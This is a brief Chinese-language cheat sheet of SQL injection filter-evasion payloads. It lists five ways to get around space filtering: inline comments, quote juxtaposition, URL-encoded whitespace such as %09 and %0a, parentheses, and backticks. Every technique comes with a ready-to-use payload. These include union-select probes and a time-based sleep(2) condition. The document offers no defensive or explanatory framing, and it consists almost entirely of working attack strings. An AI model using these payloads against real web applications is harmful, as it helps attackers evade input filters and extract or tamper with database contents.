1.利用注释绕过
如:id=1/**/and/**/1=1/**/#
2.利用引号绕过
如id='1'and'1'='2'
3.利用 %09、%0a、%0b、%0c、%0d 绕过
将空格替换即可 如:id='1'%09union%09select%081,2,3 #
4.利用括号绕过
如:
id='1'and(1=1)
id='1'union select(database()),('1')
注:union select
中间无法使用括号绕过
id='1'and(if(1=1,sleep(2),1))
5.利用"`" 绕过
如:select`name`from`user`